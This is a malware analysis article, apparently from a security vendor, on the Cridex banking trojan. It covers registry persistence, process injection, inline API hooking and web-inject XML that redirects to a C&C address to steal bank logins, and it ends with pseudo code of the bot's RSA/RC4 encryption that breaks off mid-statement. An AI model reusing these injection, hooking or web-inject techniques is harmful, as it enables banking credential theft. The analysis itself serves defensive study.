Cridex botnet preview

Cridex is a trojan that steals bank account information from its victims. It is programmed in object oriented C++. The Cridex botnet is centralized, communicating with its C&C server regularly to retrieve the latest configuration files and corresponding binary updates. Some generations use a combined cryptographic system consisting of public- and symmetric-key cryptography to secure communication between the bot and C&C server. Today, there are four main generations of Cridex bots. The first, generation 0, was discovered around the end of 2011, and has no encryption at all. The three later generations have become more active over the last couple of months. In this article, we will focus on a detailed analysis of the Cridex injection routine, communication protocol, encryption scheme and working mechanism in order to shed light on the development path of the three recent generations of Cridex bots.

When the trojan launches, it first drops itself into the %App Data% folder and writes the name of the dropped file to the autorun registry entry (e.g. HKCU\Software\Microsoft\Windows\CurrentVersion\Run\KB%8d.exe). The filename starts with the letters ‘KB’, followed by an eight-digit number derived from the victim’s volume serial number. The trojan will delete itself using a batch file once it has run from the dropped file.

Next, it checks the current OS environment and acts accordingly. If it is in a 64-bit environment, only the communication routine will be executed. Otherwise, it goes through a list of all the currently running processes, and injects itself into processes that have the right access and security identifier (SID). It then allocates a block of memory containing a copy of itself inside the targeted process. Then it uses CreateRemoteThread to run the malicious routine.

The hooking technique the bot uses is called inline hooking. The idea is to redirect the call flow to the malicious routine at the entry point of the hooked API. For example, in Figure 5, this is in the memory of the nspr4.dll module of the firefox.exe process. It replaces the API’s entry code 8b 44 24 04 8b with e9 3b 56 32 ff, so the call to PR_Connect will be redirected to the malicious subroutine 0x15D830, inside which there is a dummy subroutine at 0x151010. The dummy subroutine is initially formed by a series of NOPs (0x90). During the hooking process, the overwritten codes are saved to the dummy subroutine at 0x151010. An unconditional jump is also written to lead the execution flow back to the original API. The bot has the algorithm to calculate where the assembly operation line ends, so it can save the entire line of operation, 8b 08, to make sure it will not jump back to the middle of an operation. In Figure 5, it jumps back to 0xE381F6, not 0xE381F5, right after the unconditional jump.

Figure 5. Inline hooking of nspr4.PR_Connect.

The bot checks the process it injects into and hooks the corresponding API accordingly.

For all processes, it tries to hook the following APIs:

If the process imports ws2_32.dll and crypt32.dll (e.g. explorer.exe and iexplorer.exe), it hooks the following APIs as well:

While if the process is firefox.exe, it hooks the following APIs:

By hooking these APIs, the bot has the ability to mask the URLs received in the browsers and perform a few tasks according to the configuration file. If the URL contains the domain name in the <httpshots> tag or the <formgrabber> tag (e.g. xxxbank.com), the bot will try to match the pattern in the <conditions> tag (e.g. *xxxbank.com.*). If the condition matches, it will inject the HTTP code from the <replacement> tag. With those encryption APIs hooked, it can bypass the site’s traffic encryption protocol such as SSLv3. In this variant the code in the <replacement> tags is all the same:

<replacement>
     <![CDATA[<script type=”text/javascript” src=”https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js”>;
     </script>
     <script type=”text/javascript” src=”/jqueryaddonsv2.js”>
     </script>   ]]>
</replacement>

By injecting this code into the page, it triggers a hooking function which redirects any URL matching the pattern ‘.*jqueryaddonsv2\.js.*’ to a malicious JavaScript page: http://69.64.56.232:8080/za/v_01_a/in/cp.php, according to the configuration:

<redirect>
     <pattern>.*jqueryaddonsv2\.js.*</pattern>
     <process>http://69.64.56.232:8080/za/v_01_a/in/cp.php</process>;
</redirect>

Figure 6 shows the source code of an injected page belonging to a financial institution.

Figure 6. Injected page

The /jqueryaddonsv2.js is redirected to a JavaScript page that can inject the forms and submit the user’s log-in information to the C&C server.

In the third generation, the malicious JavaScript is embedded in the legitimate ‘jquery.min.js’ file, which makes the injection more subtle. It seems the malicious JavaScript is still under development. With the exception of the same function that can submit the user’s log-in information, there are cases in the executeActions function that are not implemented yet.

Although Cridex only has a short history (having first appeared at the end of 2011), the malware has become more aggressive recently. It already has three generations. Each of them has a distinct message data structure and encryption scheme. Its trend is to reuse existing libraries and formats to give the bot more flexibility and extensibility. In each generation updates do not cause it to switch to the newest generation, instead each bot generation retains its own formatting. It seems these samples are the beta versions for the author’s development testing.

//Pseudo code Cridexv2 Encrypt

BOOL fResult = FALSE;
HCRYPTPROV hProv = NULL;
HCRYPTHASH hHash = NULL;
HCRYPTKEY hSessionKey = NULL;
HANDLE hInFile = INVALID_HANDLE_VALUE;
HANDLE hOutFile = INVALID_HANDLE_VALUE;
BOOL finished = FALSE;
BYTE pbBuffer[OUT_BUFFER_SIZE];
DWORD dwByteCount = 0;
DWORD dwBytesWritten = 0;
LPCTSTR pkeyCipher = _T(“MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCvR7x8oHW63g45dwL84Xyga4jdsEUyYc9taOLTZ+kEhwauB7UbvXliNZZsq1HzsNgz+Ge7jVT2nyBIvDwx6CozX0iNM2QG7ZalwB6zBVyvpgTNTQqE8ODZrDGIkabg4OT3YeRrux4Z8GZ14Jja/jITSQZBMvsWguP/wFpUJ35v2wIDAQAB”);
CERT_PUBLIC_KEY_INFO *publicKeyInfo;
DWORD publicKeyInfoLen;
HCRYPTKEY      hPubKey = 0;
SimpleBLOB *simpleBLOB = new SimpleBLOB();
DWORD keyLen;

// Acquire a handle
CryptAcquireContext(&hProv,NULL,MS_DEF_PROV, PROV_RSA_FULL,CRYPT_VERIFYCONTEXT|CRYPT_SILENT);

//not going to be used in the encryption, only used when calculating the SHA1 of the plain-text message
CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash);

BYTE* pbSignedMessageBlob = NULL;
DWORD cbSignedMessageBlob = 0;

//
// Base64 -> binary
//

Base64ToBinary(pkeyCipher,0,&pbSignedMessageBlob,&cbSignedMessageBlob);
CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, pbSignedMessageBlob, cbSignedMessageBlob, CRYPT_DECODE_ALLOC_FLAG, NULL, &publicKeyInfo, &publicKeyInfoLen);


// Get the public key information for the certificate.
CryptImportPublicKeyInfo(hProv, X509_ASN_ENCODING, publicKeyInfo, &hPubKey);

CryptGenKey(hProv, CALG_RC4, 0x11, &hSessionKey);
keyLen = 0x8C;
CryptExportKey(hSessionKey, hPubKey, SIMPLEBLOB, 0, (BYTE*)simpleBLOB, &keyLen);

do

{
     dwByteCount = 0;


     // Now read data from the input file
     ReadFile(hInFile, pbBuffer, IN_BUFFER_SIZE, &dwByteCount, NULL);


     if (dwByteCount == 0)
           break;

     finished = (dwByteCount < IN_BUFFER_SIZE);

     // Encrypt
     fResult = CryptEncrypt(hSessionKey, 0, finished, 0, pbBuffer, &dwByteCount,
           OUT_BUFFER_SIZE);

 
     // Write the encrypted/decrypted data to the output file.
     fResult = WriteFile(hOutFile, pbBuffer, dwByteCount,
           &dwBytesWritten, NULL);
 
} while (!finished);

_tprintf(_T(“File %s is encrypted successfully!\n”));
}

/* Cleanup */
if (hInFile != INVALID_HANDLE_VALUE) CloseHandle(hInFile);
if (hOutFile != INVALID_HANDLE_VALUE) CloseHandle(hOutFile);
if (hSessionKey != NULL) CryptDestroyKey(hSessionKey);
if (hHash != NULL) CryptDestroyHash(hHash);
if (hProv != NULL) CryptReleaseContext(hProv, 0